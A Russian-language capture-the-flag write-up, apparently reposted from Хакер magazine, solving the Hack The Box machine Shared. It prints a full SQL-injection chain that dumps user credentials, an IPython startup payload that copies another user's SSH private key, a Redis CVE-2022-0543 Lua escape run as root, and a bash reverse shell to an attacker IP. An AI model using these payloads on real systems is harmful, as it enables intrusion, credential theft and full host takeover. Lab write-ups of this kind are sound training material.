Хакер -HTB Shared. Повышаем привилегии через уязвимость в Redis
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- SQL Injection
- Продвижение
- Локальное повышение привилегий
- Redis RCE
В этом райтапе я покажу, как повысить привилегии через Redis. Но сначала мы проникнем на хост при помощи SQL-инъекции и получим аккаунт другого пользователя с помощью уязвимости в IPython.
Тренироваться будем на средней по сложности машине Shared с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.172 shared.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим всего два открытых порта:
- 22 — служба OpenSSH 8.4p1;
- порты 80 и 443 — веб‑сервер Nginx 1.18.0.
Начнем с сайта. Порт 80 нас перекидывает на 443. В результатах скана находим поле сертификата commonName, он действителен для любого поддомена shared.htb.

ТОЧКА ВХОДА
Это сайт какого‑то интернет‑магазина. Попробуем совершить покупку.

При попытке перейти к оплате нас кидает на другой поддомен.

Добавим его в /etc/hosts и повторим действия.
10.10.11.172 shared.htb checkout.shared.htb

В Burp History при анализе запросов мы видим название параметра Cookie PrestaShop. PrestaShop — это опенсорсный движок для интернет‑магазинов. Он написан на PHP и фреймворке Symfony, для шаблонов используется Twig, для хранения данных — MySQL.

Я нашел в интернете несколько готовых эксплоитов, но в данном случае они неприменимы. Поэтому я решил обратить внимание на то, что данные между двумя сайтами — магазином и платежным сервисом — передаются в заголовке Cookie.

Я попробовал несколько разных нагрузок и определил, что здесь возможна SQL-инъекция. Отправляем запрос, условие которого всегда истина, и получаем товар в чеке.
# Нагрузка
' or 1=1 -- -

ТОЧКА ОПОРЫ
SQL Injection
Давай теперь проэксплуатируем SQL-инъекцию. Сначала определим число столбцов. Для этого используем UNION с переменным количеством столбцов. Так, при объединении с таблицей, имеющей один или два столбца, будет ошибка, а при трех столбцах — внятный вывод.
union select 1 -- -
union select 1,2 -- -
union select 1,2,3 -- -

Так как в вывод попадает второй столбец, основную нагрузку будем посылать вместо цифры 2. Теперь нам нужно получить название базы данных.
union select 1,database(),3 -- -

Затем выводим текущую базу данных, что дает нам возможность с помощью служебной базы information_schema и таблицы tables получить названия таблиц. Чтобы вывести несколько строк в одну, нам нужно их объединить с помощью функции group_concat.
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='checkout' -- -

Теперь логично получить названия столбцов. Запросим записи из таблицы columns базы information_schema.
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' -- -

Имя пользователя и пароль — как и заказывали. В group_concat объединим учетные данные через символ :.
union select 1,group_concat(username, ':', password),3 from checkout.user -- -

Есть хеш, а значит, отправляемся к онлайновой базе CrackStation, которая поможет нам сбрутить пароль.

С полученной парой из логина и пароля можем попробовать авторизоваться по SSH.

Получилось!
ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам нужно собрать информацию. Я для этого использую скрипты PEASS.
Справка: скрипты PEASS для Linux (загрузка через SCP)
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на локальный хост скрипт для Linux, дадим право на выполнение chmod +x linpeas.sh и выполним. В выводе будет много информации, но меня заинтересовало то, что есть файл, доступный для записи группе разработчиков, в которой мы состоим.

Ничего полезного тут нет, поэтому продолжим разведку и отследим запускаемые процессы. Для этого я рекомендую pspy64. Загрузим его на хост тем же способом, что и linpeas, а потом выполним. В выводе отмечаем запуск ipython из найденного ранее каталога. Что более интересно, он запускается в контексте пользователя с UID 1001.

Определить целевого пользователя можно через файл /etc/passwd. Это dan_smith.

Порывшись в интернете, я нашел эксплоит для IPython! Он произвольно выполняет в текущем каталоге файл profile_default/startup/foo.py.
Создадим его по нужному пути:
/opt/scripts_review/profile_default/startup/foo.py
И положим внутрь такую строчку:
import os; os.system("cat /home/dan_smith/.ssh/id_rsa > /dev/shm/key")
Так мы попробуем сохранить приватный ключ пользователя в файл /dev/shm/key. Периодически проверяем, не появился ли он, и через какое‑то время получаем ключ.

Подключаемся по SSH и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Снова используем PEASS и с его помощью обнаруживаем следующее.
- В системе есть приложение
redis_connector_dev, доступное группе sysadmin, членом которой является наш пользователь.

- В списке прослушиваемых портов есть порт службы Redis — 6379.

Если выполнить найденное приложение, то увидим, что оно подключается к серверу, а значит, внутри у него нужные учетные данные.

Скопируем файл на локальный хост с помощью SSH.
scp -i id_rsa dan_smith@shared.htb:/usr/local/bin/redis_connector_dev ./
Затем откроем листенер на порте 6379, чтобы отобразить полученные данные. А когда все будет готово, запустим приложение.


В последней строке логов видим пароль для подключения к Redis.
Redis RCE
Redis — резидентная система управления базами данных класса NoSQL с открытым исходным кодом, работающая со структурами данных типа «ключ — значение». Используется как для баз данных, так и для реализации кешей, брокеров сообщений. Из последних уязвимостей я вспомнил CVE-2022-0543. Дело в том, что из‑за проблемы с упаковкой СУБД Redis подвержена выходу из песочницы Lua, а это может привести к удаленному выполнению кода (RCE). В данном случае еще и с высокими привилегиями.
Подключимся к Redis и авторизуемся:
redis-cli
auth F2WHqJUz2WEz=Gqq
Теперь попробуем с помощью следующей нагрузки выполнить команду id.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Команда выполнена, и, как мы видим, в контексте пользователя root. Теперь запустим реверс‑шелл:
bash -i >& /dev/tcp/10.10.14.84/4321 0>&1
Я записал его в файл /dev/shm/r.sh.
Перед выполнением активируем листенер: pwncat_cs -lp 4321.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /dev/shm/r.sh | bash", "r"); local res = f:read("*a"); f:close(); r
eturn res' 0

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei